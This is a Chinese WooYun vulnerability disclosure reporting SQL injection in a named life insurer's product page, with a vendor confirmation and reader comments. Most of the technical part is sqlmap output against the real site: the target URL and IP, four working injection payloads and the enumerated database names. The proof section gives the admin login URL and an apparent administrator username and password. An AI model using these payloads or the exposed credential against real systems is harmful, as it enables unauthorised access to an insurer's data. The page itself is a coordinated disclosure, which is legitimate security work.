当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134294

漏洞标题:长生人寿一处SQL注入(已进后台)

相关厂商:长生人寿

漏洞作者: 小龙

提交时间:2015-08-17 14:35

修复时间:2015-10-03 09:48

公开时间:2015-10-03 09:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-19: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

1

详细说明:

Target: 		http://www.nissay-greatwall.com.cn/product/product.php?aid=126
Host IP: 222.73.5.159
Web Server: Apache/2.2.3 (CentOS)
Powered-by: PHP/5.1.6
DB Server: MySQL >=5
Current DB: nissay


F:\Python27\sqlmap>sqlmap.py -u "http://www.nissay-greatwall.com.cn/product/prod
uct.php?aid=126" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150529}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:11:15
[13:11:15] [INFO] resuming back-end DBMS 'mysql'
[13:11:15] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aid=126' AND 2562=2562 AND 'FGmo'='FGmo
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: aid=126' AND (SELECT 2985 FROM(SELECT COUNT(*),CONCAT(0x71786a7071,
(SELECT (ELT(2985=2985,1))),0x71717a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH
EMA.CHARACTER_SETS GROUP BY x)a) AND 'oxUl'='oxUl
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: aid=126' AND (SELECT * FROM (SELECT(SLEEP(5)))lWDJ) AND 'pUce'='pUc
e
Type: UNION query
Title: Generic UNION query (NULL) - 24 columns
Payload: aid=126' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71786a7071,0x4a4d466f474e6f4c496e,0x71717a7a71)--
---
[13:11:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
[13:11:17] [INFO] fetching database names
[13:11:17] [INFO] the SQL query used returns 3 entries
[13:11:17] [INFO] resumed: information_schema
[13:11:17] [INFO] resumed: nissay
[13:11:17] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] nissay
[*] test

漏洞证明:

http://nissay-greatwall.com.cn/admin/index.php
admin/adminsva

修复方案:

修复并修改密码

版权声明:转载请注明来源 小龙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-19 09:46

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-15 15:01 | 0x 80 ( 普通白帽子 | Rank:1316 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    顶~~~~~

  2. 2015-08-15 15:05 | 大师兄 ( 路人 | Rank:6 漏洞数:3 | 每日必关注乌云)

    @小龙 有没有getshell?

  3. 2015-08-15 15:52 | 小龙 ( 普通白帽子 | Rank:1242 漏洞数:317 | 乌云有着这么一群人,在乌云学技术,去某数...)

    @大师兄 没有啊。。

  4. 2015-08-15 15:53 | 小龙 ( 普通白帽子 | Rank:1242 漏洞数:317 | 乌云有着这么一群人,在乌云学技术,去某数...)

    @大师兄 臣妾做不到啊。。。

  5. 2015-08-15 21:14 | Submit ( 普通白帽子 | Rank:372 漏洞数:85 | 我是石头爆出来的)

    臣妾做不到~~~